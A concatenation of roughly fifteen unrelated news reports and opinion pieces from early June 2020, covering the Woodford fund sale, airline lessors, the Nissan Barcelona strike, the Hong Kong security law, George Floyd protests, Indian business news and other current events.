Link said Acacia Research Corporation, a US firm which invests in early-stage technologies, will snap up the biotechnology stocks held by the Woodford Equity Income fund for up to 223.9million.

But Link warned that under the terms of this deal, investors may not actually receive payment for up to six months.

Adrian Lowcock, of investment firm Willis Owen, said: 'Rather disappointingly there is no detail on what was sold, for how much and what the losses were on those investments.

'Investors should be given an idea of what the costs incurred for this deal are and what they could expect to see back.

It would also help to have an update on the progress with the remaining investments, but these are most likely the ones that the fund will find hardest to sell.'

A few assets, currently worth 218million, are still left to sell. As long as their value falls no further, savers will get back a maximum of only 2.7billion. This is a loss of 27 per cent since the fund first froze their money a year ago.

Many will have lost much more, as they piled their savings into Woodford's once-lauded fund when the value of its assets was higher, and it was much more expensive to invest.
The seismic impact of the coronavirus pandemic has rocked the foundations of the aviation industry.

The way we travel has been changed, perhaps not forever, but at least for the foreseeable future.

Recovery will come, and to think that the demand for airline travel will in some way be diminished significantly, or at all, over the long-term is to ignore its role as the only transport method capable of moving people and goods over long distances quickly and efficiently.

In the short to medium term, things will certainly be different. Demand will take time to recover. The pandemic also leaves behind a more condensed industry as some airlines succumb fully to the fallout, and fail.

Already carriers including Virgin Australia, Colombia's Avianca and Chile's Latam have filed for bankruptcy or entered administration, while others including Lufthansa and Air France-KLM are being kept on life support by government bailouts. And every airline has slashed staff, pay and other costs to cope with the devastating hit that the pandemic has inflicted on the airline industry.

For the world's big aircraft lessors, most of them with headquarters or major offices in Ireland, this has been an unsettling time.

Lessors such as Nordic Aviation Capital have become the backbone of the world's airline industry.

About half the world's commercial aircraft fleet is leased by airlines and about 65pc of the world's leased aircraft are managed from Ireland. The leasing sector is important to the country too, supporting an estimated 5,000 direct and indirect jobs and contributing about 550m a year.

But airlines' woes are lessors' woes.

The International Air Transport Association (IATA) - which represents most airlines around the world - predicted in April that the Covid-19 crisis will see airline passenger revenue plummet by $314bn (277bn) this year. That's 55pc less than in 2019.

But the problem for airlines isn't just falling revenue, says IATA. It's debt.

This week the industry body said airline debt could balloon to $550bn by the end of 2020, marking a $120bn increase since January.

Lessors have been keen to point out that where they have financially strong backers, the outlook isn't as grim as it might be for others.

Peter Barrett, CEO of Dublin-based jet leasing giant SMBC Aviation Capital, said this week that it is owned by a "substantive and supportive Japanese financial institution", giving it the wherewithal to weather the Covid storm. It is owned by the Sumitomo Mitsui banking group.

SMBC pointed out that the lessor had $6.3bn of available liquidity at the end of March.

Also this week, New York-listed leasing firm AerCap - also headquartered in Dublin and headed by Gus Kelly - said it had tapped investors to raise $1.25bn of debt via senior notes, with the proceeds earmarked for general corporate purposes.

Liquidity is the key issue now for most businesses, including lessors. As lease payment deferrals continue, the industry's survivors will be those with deep pockets and access to cash.
Washington, D.C., Mayor Muriel Bowser is disputing claims from a U.S. senator that deployed members of the Utah National Guard were evicted from a hotel in the District.

In a series of tweets and an appearance on Fox News on Friday, Sen. Mike Lee, R-Utah, charged that Bowser is targeting the National Guard as part of her ongoing feud with President Donald Trump over their presence in the city to control protests.

Read next: 'Only African American in the Room:' Next Air Force Chief of Staff Speaks Out on Racism in Ranks

Some 200 Utah Guard members were evicted from the Marriott Marquis near the White House on Friday after concluding their duty "protecting the people of D.C.," Lee said in a follow-up statement. He said they had finished an all-night shift at 3 a.m. Friday and were booted from their hotel by 11 a.m., despite having another shift.

"Evicting Utah National Guard personnel from their hotels after a late-night shift risking their lives to protect Washington is a shameful, petty, discrediting decision by Mayor Bowser," he said. "Our Utah Guardsmen are consummate professionals who are not complaining in the slightest. But their labor and sacrifice on behalf of Washingtonians deserves better than this embarrassing spectacle.

"If Mayor Bowser has a problem with President Trump, she should take it up with him, not take it out on National Guard personnel in the middle of a dangerous deployment in her city," Lee said. "These brave men and women have risked their lives protecting D.C. for three days, and now they are being kicked to the curb by an ungrateful mayor."

On Fox News, Lee said there may have been "some kind of contracting mistake" involving the Utah Guard members staying at the Marriott, and "I find this very strange."

He called on the mayor to apologize.

Bowser said she has no authority over who does or doesn't stay at hotels, but added that the District would not pay for the rooms.

"At no time did we intend or would we be able to effect evicting any Guardsman from any hotel," Bowser said at a Friday news conference.

In a Twitter post directed at Lee, Bowser said, "Senator -- until they are recalled home -- which I have formally requested from the President, your troops are in DC hotels. However, DC residents cannot pay their hotel bills. The Army can clear that up with the hotel today, and we are willing to help."

It was not immediately clear whether the problem was overbooking or a dispute over who should pay for the rooms.

Maj. Jaime Thomas of the Utah National Guard said the issue was quickly resolved with the help of the D.C. National Guard, and another hotel was found for the Utah Guard.

A spokeswoman for Utah Gov. Gary Herbert, who approved sending the Utah Guard to D.C., said the governor was aware of the hotel issue but did not have any immediate comment.

At a Pentagon briefing later Friday, Army Secretary Ryan McCarthy said the hotel issue appeared to be the result of a misunderstanding.

He said D.C. was paying for accommodations for National Guard members assisting with the COVID-19 effort, but had not agreed to pay for those backing up local law enforcement.

McCarthy said Bowser wanted to get the Utah Guard members at the Marriott "out of those hotel rooms, so we made that accommodation, obviously, and we're moving them to different locations."

Also Friday, Bowser ordered a huge "Black Lives Matter" mural painted across several streets near the White House and changed the street signs to read "Black Lives Matter Plaza."

At a news conference with Bowser on Friday, Metro Police Chief Peter Newsham said that looting and violence in the District had largely dissipated since federal law enforcement agencies backed by the National Guard forcefully pushed back protesters near the White House on Monday evening, ahead of the 7 p.m. curfew.

Newsham said Metro police had made no arrests for the last three nights.

At the White House on Friday, where he hailed a drop in unemployment rates for May, Trump heaped praise on the National Guard for contributing to calm in the District.

"The National Guard was unbelievable. It was like a piece of cake" in restoring order, he said.

In a tweet, Trump also took another dig at Bowser over the hotel issue.

"The incompetent Mayor of Washington, D.C., whose budget is totally out of control and is constantly coming back to us for 'handouts,' is now fighting with the National Guard, who saved her from great embarrassment," he wrote.

-- Hope Hodge Seck contributed to this report.

-- Richard Sisk can be reached at Richard.Sisk@Military.com.

Related: Lightning Strike Injures 2 National Guard Members in DC
Thousands of Nissan workers, their families and sympathisers are striking, protesting and blocking roads to protest the Japanese automakers decision to shut down its Barcelona plant by December. Twenty-five thousand workers are to be directly or indirectly affected by the closure of Nissans largest plant in Spain.

Since May 4, amid the resumption of production in its plants after the Socialist Party (PSOE)-Podemos government imposed the reactionary back-to-work policy, unions have called Nissan workers out on strike. The cynicism of the company formerly led by fugitive CEO Carlos Ghosn could not be clearer. They ordered workers back to work on May 4, amid the pandemic, to complete 1,300 unfinished Mercedes vans and then close the factory.

Last week, Nissan reported a US$6.2 billion loss for the fiscal year ending in March, its first annual loss in 11 years. The plant closure is part of a plan to restructure the Alliance, cut costs and raise profits. Under the plan, the company aims to reduce its production capacity worldwide by 20 percent, to about 5.4 million units, and cut its costs by 15 percent. Another Nissan factory will also be closed in Indonesia.

Their aim is to intensify the exploitation of workers by pooling production facilities elsewhere in Europe as well as in South America, South Africa and Southeast Asia.

Last week, soon after the announcement, workers blocked off streets and burned tires outside the plant, located in the Zona Franca industrial area.

Cristina Montero, 43, a single mother with a mortgage who has been working at the Nissan plant for 15 years, told El Pais, Its very tough news. We knew about it, we imagined it could happen, but you never think its really going to come true. There are many families who could be left out in the street, and we feel impotence and a lot of anger.

Another Nissan worker with 21 years seniority, Jose Antonio Pina, said, We have been doing badly for many years, and now it has been a total collapse.

Outside, hundreds of workers gathered to hear the head of the Workers Council, the trade union delegate Juan Carlos Vicente, after a meeting with company executives.

In an orchestrated announcement to the media, Vicente complained, Theyve left us to die, and asserted that workers will not make it easy for Nissan to shut down: We now have six months to try and make them change their plans.  This is a long process, we have to pressure both the politicians and the company so that they understand that Nissan must stay, because around 20,000 families are at risk, and the industrial fabric of Catalonia and Spain are at stake.

Nissan workers fight against the closure is arousing enormous sympathy and solidarity. The following day, thousands of autoworkers gathered at the doors of the four main Nissan dealerships, shouting with fists raised, War, war, war, Nissan will not close! As protesters marched and blocked roads, dozens of vehicles honked their horns in support; neighbours clapped or raised their fists.

Yesterday, Nissan workers organised a slow march of hundreds of vehicles in the centre of Barcelona. Autoworkers, many accompanied by their families, also received support from taxi drivers, who have been waging a bitter struggle against Uber for over a year.

Amid this jobs massacre, workers now confront a concerted attack by the PSOE-Podemos government, the Catalan nationalist-led regional government, and the trade unions to isolate, wear down and finally suppress the strike.

The unions and the PSOE-Podemos government are sowing illusions that negotiations with Nissan remain open, and that there still exists a possibility of the plant remaining open. The Works Council, run by the Podemos-linked Workers Commissions (CC.OO) and pro-PSOE General Union of Labour (UGT) unions, has argued for delaying any escalation of the strikes and protests until the business meeting of the Nissan executives on June 6, insisting that Nissan could reverse its decision.

In a joint statement with the Catalan regional government, the Foment Del Treball business association, and small business groups, the CCOO and UGT, urged Nissan to reconsider the decision bound with their responsibility with their workers. They added that they would continue working to maintain Nissans supply chain in Catalonia and value the unity of action of the different administrations, employers and unions to avoid confirming the definitive closure of the plants in Catalonia.

Similarly, Economic Affairs Minister Nadia Calvino claimed she is willing to look for an alternative solution, adding, We have proposed to the company to implement a process of discussion and negotiation to see how this process can be channelled, since it is a plant that made strategic sense for the company, being the only one in Europe.

However, Gianluca De Ficchy, president of Nissan Europe, reappeared to state that the decision to close the Barcelona plant has been taken and is irreversible.

Last week, Nissan indirectly alluded as to why it wanted its plants in Barcelona to remain open until December. Ashwani Gupta, the Japanese companys global chief operating officer, said that it would close its Sunderland manufacturing plant in the UK if London leaves the EU in a no-deal Brexit. He stated that with the EU being the Sunderland factorys biggest customer, the tariffs that would come with a no-deal Brexit would mean manufacturing in Britain would not be viable.

Whether in Spain, the UK or France, all the unions are using the same common front to lull workers to sleep as they work to increase the exploitation of workers or force workers to accept plant closures.

In Spains Nissan plant, the last common front of unions, big business and regional and national governments happened in June 2019, when the USOC, CC.OO and UGT accepted a redundancy scheme, backed by the regional Catalan government, affecting 620 workers through early retirement and other cuts. In exchange, Nissan fraudulently committed to making new investments in Barcelona plants.

Spanish unions have even refused to mobilize workers in the other Nissan plants unaffected by the closures, let alone other auto factories of Seat, Mercedes, Volkswagen and PSA. On the same day as Nissan made its announcement, at Ford the UGT and CC.OO signed a redundancy scheme affecting 350 workers from the plant in Valencia, to make the plant more competitive.

This same tactic is now being implemented in the UK, where Nissan announced plans to end a defined benefits pension scheme for hundreds of workers as part of its cost saving measures.

British trade union Unite reacted by announcing that it is more than willing to help Nissan recalibrate to a changing world but this must not come at the expense of our members jobs, terms and conditions or other benefits. In the coming days we will be seeking our members views and be sitting down with the company to find a positive way forward for all.

In neighbouring France, Renault has announced plans for an international wave of plant closings and layoffs, including 15,000 jobs worldwide, 4,600 of these in France. The French unions are not even organizing symbolic protests. Philippe Martinez, the head of the Stalinist General Confederation of Labour (CGT) union, responded with impotent and nationalist rhetoric. We are very upset, he said. What Renault needs is to produce Renault cars in France and work on creating French jobs.

Whether in Spain, the UK, France or other countries, workers confront the same reactionary trade union tactics to divide workers on national lines, trying to sell multinationals their workers labour power for a cheaper market rate than other countries.

A fight against this requires the construction of an international movement among workers. The opposition of autoworkers, including strikes and other struggles, can only be effective if it is mobilized across national borders against transnational companies, which shift production from one country to another to maximize profits. This requires building rank-and-file committees of action independent of the nationalist and pro-capitalist trade unions.
Security legislation for HKSAR will not affect rights, freedoms

People's Daily Online

(China Daily) 09:28, June 04, 2020

The national security legislation for the Hong Kong Special Administrative Region will not affect the various rights and freedoms of local residents as it will only target a very small number of people whose criminal acts endanger national security, a senior official said on Wednesday.

Vice-Premier Han Zheng, who heads the coordination group of Hong Kong and Macao affairs of the Communist Party of China Central Committee and the central government, made the remark during a meeting with Hong Kong Chief Executive Carrie Lam Cheng Yuet-ngor in Beijing to hear opinions from the SAR government on the legislation.

Han reiterated that the central government is determined to fully and faithfully implement the "one country, two systems" principle and safeguard national security.

The national security legislation for the Hong Kong SAR has the fundamental purpose of safeguarding national sovereignty, security and development interests as well as the enduring peace and long-term prosperity and stability of the region, he said.

It will also ensure the sound and sustained implementation of "one country, two systems", he added.

He underscored that the opinions of all sectors in Hong Kong society will be taken into consideration during the lawmaking process.

During a news briefing in Beijing following the meeting, Lam said the SAR government will fully support the legislative process, adding that it is in accordance with the central government's constitutional obligation and showed its care for Hong Kong.

She urged Hong Kong communities to voice their opinions on the proposed law and pledged to relay these opinions to the central government in a timely manner.

The central government plans to collect more opinions from Hong Kong society, such as other SAR government officials, the president of the SAR's legislature and legal experts, as well as the deputies to the National People's Congress and members of the National Committee of the Chinese People's Political Consultative Conference from the city, she said.

It will also invite representatives from different sectors in Hong Kong to discuss the issue at seminars in Shenzhen and Beijing, she said.

She also criticized some foreign governments for adopting blatant double standards on the issue.

"It is within the legitimate jurisdiction of any country to enact laws to protect and safeguard national security. The United States is no exception. The United Kingdom is no exception," she said. "So why should they object, resist or even condemn and introduce sanctions against Hong Kong and the People's Republic of China for taking similar actions?"

"We are operating in accordance with the Basic Law. The Basic Law provides for 'one country, two systems'. The important pillar in this 'one country, two systems' is 'one country'," she said, adding that without "one country" there could not be "two systems".

"Hong Kong people's confidence lies in 'one country, two systems' and all the strengths and competitive advantages of Hong Kong. It does not lie in what individual foreign governments have to say about Hong Kong," Lam said.

Beijing warned the UK that its interference in Hong Kong's affairs will "definitely backfire" in the wake of comments made by UK Foreign Secretary Dominic Raab over the national security legislation.

Foreign Ministry spokesman Zhao Lijian said at a news briefing on Wednesday that the national security legislation for Hong Kong is purely China's domestic affair, in which no foreign country has a right to interfere, and the UK should "step back from the brink".

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The death of African American George Floyd in the United States, after a police officer pressed a knee into his neck while detaining him, has triggered worldwide protests against racism and brutality.

Authorities in some countries are objecting to the rallies, on grounds they heighten the risk of COVID-19 infection.

Here are some of the latest demonstrations outside the United States:

Friday, June 5

FRANKFURT/HAMBURG - Thousands of Germans protested against racism, holding banners with slogans such as: "Your Pain Is My Pain, Your Fight Is My Fight". Some people wore a clenched fist image on their anti-coronavirus masks.

LONDON - Several dozen people gathered in Trafalgar Square, many wearing masks and some kneeling in solidarity with the Black Lives Matter movement. Placards read: "White People Must Do More", "Colour Is Not A Crime" and "Justice for Belly Mujinga" in reference to a rail worker who died of COVID-19 after being spat at by a man who said he was infected.

TILBURG/EINDHOVEN - The Netherlands has seen the largest anti-racism rallies in living memory this week, with thousands coming out across the nation. More protests were planned for Tilburg and Eindhoven on Friday.

CANBERRA - Demonstrators marched to Parliament House during a Black Lives Matter protest, social media images showed, despite Australian authorities' disapproval due to the risk of coronavirus infection.

VIENNA - Demonstrators gathered near the US Embassy, holding banners, including: "There Are No Races Just One Species" and "Racism Is The Real Virus."

OSLO - Several thousand people protested in front of the Norwegian parliament while hundreds more gathered outside the US Embassy. Authorities had said only 50 people were allowed to gather, but police said they would not interfere with peaceful demonstrators. TV footage showed protesters were not following the recommended one-metre social distancing guidelines, though most wore masks.

MONROVIA - Liberians were to show support for Floyd.

OTTAWA - An anti-racism demonstration called "No Peace Until Justice" to be staged in front of US Embassy.

ROME - Italians to hold demonstration against police brutality in solidarity with Floyd.

THESSALONIKI - Solidarity protest by self-proclaimed anarchist groups in Greece.

Saturday, June 6

BERLIN - Germans to protest against racism.

LONDON - People expected to gather in Parliament Square in solidarity with US protests.

PARIS - Police have banned a demonstration in front of the US Embassy, citing the risk of social disorder and the coronavirus pandemic.

SEOUL - March in support of US demonstrations.

SYDNEY - Tens of thousands of Australians plan to protest in solidarity with Black Lives Matter demonstrators and indigenous Australians who died in custody. Authorities are seeking to block the rallies citing the risk from COVID-19.

Sunday, June 7

BARCELONA/MADRID - Anti-racism protests in Barcelona and Madrid.

MAASTRICHT - Dutch to march against racism.

BRUSSELS - Thousands expected to attend Black Lives Matter protest.

BUDAPEST - Protest in solidarity with victims of racism.

LONDON - Protesters to rally outside US Embassy.

- Brazilians to protest death of Floyd.
Source: Xinhua| 2020-06-05 20:03:23|Editor: huaxia

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TEHRAN, June 5 (Xinhua) -- Iran's Foreign Ministry on Friday called for lifting Western sanctions on Syria, according to the ministry's website.

The Foreign Ministry spokesman Abbas Mousavi slammed the renewal of European sanctions on Syria and recent introduction of new financial bans against the country as "unlawful and inhuman."

"Most of sanctions' negative consequences and harms will be borne by the ordinary people and citizens of Syria," he said.

"Iran expresses solidarity with the resilient nation and government of Syria and calls for the lifting of all anti-human sanctions against Damascus so that the Syrians can meet their basic needs and repair the damage caused by Western-backed terrorist attacks against the country's infrastructure," said Mousavi. Enditem
Never is the Second Amendment more important than during public unrest, a National Rifle Association video claimed in March. Rhetoric about owning, wielding and using guns has grown especially heated in recent weeks. In response to protests against police brutality, President Trump tweeted, when the looting starts, the shooting starts, echoing a Miami police chief from the 1960s  and an NRA article published after the Los Angeles riots in 1992. You loot  we shoot, wrote Marion Hammer, the organizations first female president. Meanwhile, armed protests against state health measures, such as those that shut down the Michigan Legislature last month, seem rooted in an ideology promoted by the modern NRA: that only firearms in civilian hands can safeguard the nation from government overreach. Here are five myths about the groups mission and history  some told by critics, others told by the NRA itself.
Louisiana Police Chief Announces Own Arrest on Facebook, Wont Affect His Job

A local police chief announced on Facebook that he was arrested by the Louisiana State Police, who accused him of taking about $4,000 in seized cash.

I wont debate the validity of the charge, Grayson Police Chief Mitch Bratton wrote as he announced his own arrest in a Facebook on Thursday.

A few weeks back, I contacted an outside agency to come look into some concerns that I had with a town employee. Today, while cooperating with the state police investigators, they charged me with obstruction of justice and malfeasance in office, he added. He noted, This does not affect me being the chief of police and I intend to be as accessible as I always have while I let the criminal justice system work this issue out.

Bratton said that he appreciates the concern from people that have already reached out, it means a lot.

State police officials confirmed Brattons arrest in a news release.

His arrest came initiated an investigation into the Grayson Police Department following a complaint of missing seized currency, the agency said. As a result of the investigation, LSP placed the Grayson Police Department Chief, Mitch Bratton, under arrest on charges of Obstruction of Justice and Malfeasance in Office.

An investigation revealed that in two separate cases, Bratton allegedly seized $2,500 and $1,150.

The seized currency could not be accounted for and was never logged as evidence. LSP investigators determined Bratton intentionally concealed the missing currency. Bratton was charged with two counts of Obstruction of Justice and one count of Malfeasance in office and booked into the Caldwell Parish Jail, the release said.
Govt applies the brake on schemes outside the Rs 20 trillion package

The finance ministry has kept on hold the implementation of all new schemes other than those announced in the Rs 20-trillion package to revive the economy and help vulnerable sections amid the ongoing Covid-19 pandemic. Those new schemes that were given in-principle approval would also be suspended in this financial year, said an office memorandum issued by the expenditure department.

Abu Dhabi's Mubadala to buy 1.85% stake in Jio Platforms for 9093.6 crore

Reliance Industries Ltd has said that state fund Mubadala Investment Co will buy a 1.85 per cent stake in its digital unit, Jio Platforms, for Rs 9,093.6 crore. Reliance has now sold a combined 19% interest in Jio Platforms, which houses movie, music apps and telecoms venture Jio Infocomm, in six fundraising deals including a 9.99% stake sale to Facebook Inc for $5.7 billion. Read More...



SC seeks govt's reply on plea to cap Covid-19 treatment cost in pvt hospitals

The Supreme Court on Friday agreed to hear a public interest litigation (PIL) seeking an upper limit on fees that can be charged by private hospitals across the country for treatment of patients. A three-judge bench headed by Justice Ashok Bhushan asked the Central government to file its response on the PIL, filed by a person called Avishek Goenka, within a week. The apex court asked the petitioner to serve a copy of the PIL to Solicitor General Tushar Mehta to ensure that the law officer can take proper instructions from the government on the matter, and fixed it for further hearing after one week. Read More...





RBI creates Payments Infrastructure Development Fund to boost digitisation

In an effort to give a push to digital payments across the country, the Reserve Bank of India (RBI) on Friday said they are setting up a Payment Infrastructure Development Fund (PIDF) of Rs 500 crore. The RBI has made an initial contribution of Rs 250 crore covering half the fund. The remaining will come from the card issuing banks and card networks operating in the country. This fund has been created to encourage acquirers to deploy point of sale (PoS) infrastructure, both physical and digital, in tier-3 to tier-6 centres and north eastern states. This is in line with the measures proposed by the vision document on payment and settlement systems in India 2019-2021. Read More...





Elon Musk calls for breakup of Amazon in tweet, slams 'wrongful monopoly'

Telsa Inc Chief Executive Elon Musk on Thursday called for Amazon.com Inc to be broken up, after an author complained on social media about being unable to self-publish a book via the world's largest online retailer. "This is insane @JeffBezos," Musk tweeted at Amazon's chief. Both men are billionaires and oversee competing space exploration companies on top of their duties at Telsa and Amazon. "Time to break up Amazon. Monopolies are wrong!" Musk added in a second tweet. Read More...





Modi proposes plan for India's UNSC seat as China border standoff continues

With India and China enmeshed in a standoff on their border with each other, New Delhi on Friday unveiled Prime Minister Narendra Modis new panchsheel, or five principles, that will shape its approach in its bid to get elected to the United Nations Security Council (UNSC). External Affairs Minister S Jaishankar launched a brochure outlining Indias priorities for its forthcoming campaign to secure an elected seat on the UNSC at elections slated for June 17, 2020. Indias bid is likely to succeed for it's the sole endorsed candidate of the Asia-Pacific Group, said the External Affairs Ministry. This would be Indias eighth term at the UNSC, and this two-year tenure will start in January 2021. Read More...




Kochi (Kerala) [India], June 4 (ANI): Forty-nine Indians from Oman, who were under mandated quarantine at Southern Naval Command Covid Care Centre (CCC) for the past two weeks, left for their destinations in the country on Thursday.



Earlier, between June 1 and 2, 127 Indians who had come from Bahrain had left the Indian Navy Facility after the mandated quarantine.

During their stay at the CCC, they were provided with meals, personal hygiene kits, supervised medical care, WiFi and telephone facilities, new BSNL SIM cards as well as currency exchange.

An official release said that the returnees underwent the RT-PCR tests during their stay and tested negative prior to their discharge.

Navy's quarantine facility at Kochi with a 200-bed capacity was set up in March and has been serving as a transit quarantine camp for naval personnel returning to Kochi on duty after leave.

It was modified at short notice to cater to persons arriving from Bahrain and Oman. The camp is being managed by trained naval doctors and personnel from the School of Naval Airmen (SFNA) at Southern Naval Command. (ANI)


Copyright  2020 Albuquerque Journal

Storehouse New Mexico can continue buying groceries for newly unemployed clients. Enlace Comunitario can keep providing rental assistance to victims of domestic violence. And the Albuquerque Indian Center can maintain grab-and-go breakfasts and lunches, and mail service to homeless Native Americans.

Thats because these nonprofits are among 44, including some governmental agencies, that will get a piece of the $1 million Coronavirus Community Support and Recovery Fund, recently approved by Albuquerque city councilors. The awards range from $5,000 to $50,000.

The funding is being made available because of the spike in need for the services these organizations and government agencies offer, and the difficulty they found themselves in serving the same clientele they had been serving before the COVID crisis, said Councilor Diane Gibson, who was on the oversight committee that reviewed 68 request for proposal applications.

A $15,000 award to Storehouse New Mexico will go a long way. For every $1 in donations it receives, it can buy five meals, said executive director Swarupa Watlington.

The demographic has changed and were seeing more new people who are recently unemployed, more younger people with families and a lot of business owners who have been unable to provide for their families and have come to the food pantry for the first time, she said.

The Storehouse, the largest food pantry in the state, typically serves about 600 people each week. It is an open pantry, meaning clients normally walk through the aisles and self select the foods they want and fill up an entire shopping cart, Watlington explained.

Because of social distancing, clients fill out a checklist of items that they want, and pantry workers fill the order and box or bag the items, and take them to the clients in the parking lot.

By allowing people to self-select their food, it gives them a sense of dignity, especially at this time when they may not have a job, Watlington said.

While the pantry has had to increase the amount of money it spends on bulk purchases of food, it has simultaneously seen a significant decrease in individual cash donations, as well as food, because people are afraid to go out, she said. That has also greatly reduced the Storehouses volunteer workforce, she said.

A $48,000 award will allow Catholic Charities to continue focusing on refugees and immigrants, said Chief Executive Officer Jim Gannon.

Most of these people have additional cultural and language barriers, and need assistance and support in making applications for services for them and their children, he said.

They also need continued assistance with rent, utilities, food and health care.

While many will not be eligible for such things as unemployment compensation or stimulus money, they may qualify for services through various organizations, religious groups, nonprofits and foundations, Gannon said.

The organizations ability to maintain case management assists clients in identifying their needs, and in navigating the system and paperwork to get whatever assistance is available, he said.

Catholic Charities serves about 17,500 people annually through services, classes and even childrens day care, Gannon said. Individual donations to the organization are down because many of those people now find themselves in need.

The organization also gets about $500,000 a year from parishes in the Archdiocese of Santa Fe, but because churches have been closed for two months and donations to parishes are down, that also affects Catholic Charities, he said.

Enlace Comunitario provides services to victims of domestic violence, helping about 1,000 people each year with counseling, legal assistance and transitional housing, among other things, said Executive Director Claudia Medina.

The organization already has grants to continue providing counseling and legal assistance, and grants come with a lot of restrictions and can only be used for specific reasons, Medina said.

Thats why the $25,000 award from the city is so critical. We realize that many of our families, now more than ever, need assistance to cover basic needs  food, rent, utilities, motel vouchers and things like that, Medina said.

This pool of money gives us the flexibility to help the families with something they need immediately that is more important to them than counseling or legal assistance.

It helps them to simply survive, she said.

Organization and recommended award:
Burundi's constitutional court on Thursday rejected an opposition bid to overturn the results of last month's contested election, declaring the ruling party's presidential candidate Evariste Ndayishimiye the victor.

The panel of judges ruled that poll fraud complaints by Agathon Rwasa, leader of the National Freedom Council (CNL), were "null and void", validating Ndayishimiye's victory with 68 percent of the vote.

Rwasa's share of the vote diminished further in the final results to 22.42 percent. Provisional results had given him 24 percent.

Ndayishimiye, 52, a former army general who was handpicked by ruling party elites to succeed veteran President Pierre Nkurunziza, will be sworn in in August for a seven-year mandate.

Nkurunziza will step aside after 15 tumultuous years. His bid for a third term in 2015 plunged the country into political and economic chaos that persists today.

After a campaign marked by violence, Rwasa's CNL had dismissed the May 20 poll as an "electoral farce", citing intimidation of voters, the arrest of opposition polling agents, ballot stuffing and proxy voting.

The constitutional court -- which the opposition has accused of following the ruling party's orders -- said that the CNL failed to provide sufficient proof of its claims.
The simplest answer to the question Why dont the American police forces act as if they are accountable to black Americans? is that they were never intended to be. And to the extent that the police appear to be rejecting accountability outright, I think it reflects the extent to which the polity demanding it is now inclusive of those groups the police have historically been tasked to control. That polity and its leaders are simply rejected as legitimate wielders of authority over law enforcement, especially when they ask for restraint.

A New York Police Department that worked enthusiastically with the Republican mayors Rudy Giuliani and Michael Bloomberg  mayors who found their core support among the white residents of the city  then rejected the authority of Bill de Blasio, a Democrat backed by blacks and Hispanics, who had emphasized police reform when he was a candidate. Or compare the contempt for President Barack Obama from representatives of law enforcement to their near-worshipful posture toward President Trump.

Yes, some of this reflects partisan politics  its in the nature of policing that many of its practitioners tend to be more conservative than most  but I think its also influenced by a sense that neither Obama nor his appointees, like Eric Holder or Loretta Lynch, had the right to criticize them or hold them to account.

If that is the dynamic at work, then we should not be surprised when the police respond, in the main, with anger and contempt to demands for change from the policed. Nor should we be surprised by their willingness to follow the lead of a figure like Trump, who has incited Americas police forces to be even more violent with protesters (to say nothing of his past praise for police abuse).

Trump explicitly rejects the legitimacy of nonwhites as political actors, having launched his political career on the need for more and greater racial control of Muslims and Hispanic immigrants. Even without his tough-guy posturing, Trump is someone who embodies the political and social order the police have so often been called to defend.

Which is all to say that the nightly clashes between protesters and the police are, to an extent, a microcosm of larger disputes roiling this nation: the pressures and conflicts of a diversifying country; the struggle to escape an exclusive past for a more inclusive future; and our constant battle over who truly counts  who can act as a full and equal member of this society  and who does not.
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Linkedin News Desk (The Jakarta Post) Jakarta  Fri, June 5, 2020 12:08 595 fc6853813033f564188675f8bdc5bcf1 1 National Ombudsman,Indonesian-Ombudsman,social-assistance-funds,social-aid,COVID-19 Free

The Indonesian Ombudsman has received hundreds of complaints about the distribution of COVID-19 social aid, including alleged recipient data manipulation and benefit cuts.

The reported data manipulation took place in Jambi and Papua, where it changed the number of recipients and replaced the original recipients names with others who were not the targets of the program, Ombudsman chairman Amzulian Rifai said in a statement on Wednesday as reported by kompas.com.

He added that the cuts to the benefits in West Sulawesi had reduced the funds allocated to each social assistance recipient from Rp 600,000 (US$42.32) to Rp 300,000.

One month after the Ombudsman opened its online complaint service on April 29, 1,004 COVID-19-related complaints had been submitted, with 817 of which were related to social aid distribution.

Most reports, however, were not from the provinces where the alleged data manipulation and benefits cuts were later found. The reports were predominantly from Banten, West Sumatra, Jakarta, Bogor, Depok, Central Java and East Java.

The Ombudsman reported that it had forwarded half of the reports to the relevant ministries, institutions and local governments. The Ombudsman, tasked with overseeing public services, said it was coordinating directly with decision-makers for priority complaints and was monitoring the subsequent handling of the reports.

Read also: COVID-19 crisis exposes holes in social aid disbursement

Rifai said the reports related to social aid discussed issues of distribution delays and incorrect provisions for the number of recipients, priority targets and priority areas. Some also complained about unclear procedures and requirements for receiving assistance.

The government, Rifai added, should be more proactive in conveying information to the public and should prepare plans to resolve the obstacles faced by the community in obtaining social aid.

Problems related to information and data on recipients and the distribution of social assistance can lead to horizontal conflicts in the community, he said.

Indonesia Corruption Watch (ICW) has argued that the problems in Indonesias COVID-19 countermeasures have stemmed from the central governments division of responsibilities for similar matters between several different institutions. This division, the organization said, could create communication and responsibility gaps that could be exploited by corruption.



ICW coordinator Adnan Topan Husodo recommended that the central government apply a centralized pandemic response with open public access to regular data and reports on the use of state and public funds for both health and social measures.

To combat the effects of the COVID-19 outbreak, the government has established or expanded several social aid programs, including its preemployment card program, free and discounted electricity, staple food assistance, and cash aid.

President Joko Jokowi Widodo believed that after receiving economic support, people might refrain from this years Idul Fitri mudik (exodus). While reality seemed to show otherwise, experts and labor rights activists have considered the possibility that misallocation in the aid programs contributed to the flight.

The preemployment card program, for example, was heavily criticized for not contributing to overcoming the employment crisis. Critics said it was ineffective at helping unemployed people find jobs because the program had offered training without job placement.

On Wednesday, the government decided to extend the length of time staple food and cash aid would be distributed. The program was initially slated for three months, from April to June, but has been extended to the end of this year. The benefits will be reduced to Rp 300,000 from the initial Rp 600,000 starting in July.

Finance Minister Sri Mulyani said social assistance recipients were predominantly farmers, ranchers, and planters, followed by informal merchants, private workers, construction workers, factory workers, drivers, communication workers, and fishermen. (syk)
New Delhi: India implemented a "draconian" lockdown that was porous and ended up with the "worst of both worlds" as it resulted in decimating its economy and flattening the GDP curve instead of that of the coronavirus infections, industrialist Rajiv Bajaj said on Thursday.

During a video interaction with Congress leader Rahul Gandhi, Bajaj also said that opening up the economy would be a Herculean task, and asserted that none other than the Prime Minister should purge people's mind of fear through a "very clear and aligned narrative".

"The way India has been locked down is draconian. We tried to implement a hard lockdown which was porous. So I think we have ended up with the worst of both worlds,", the 53-year-old businessman said.

Noting that "we are not seeing a smooth, concerted, rhythmic movement towards unlocking", the managing director of Bajaj Auto said, "you have definitely decimated the economy. You flattened the wrong curve. It is not the infection curve that you flattened, it is the GDP curve. This is what we have ended up with the worst of both worlds."

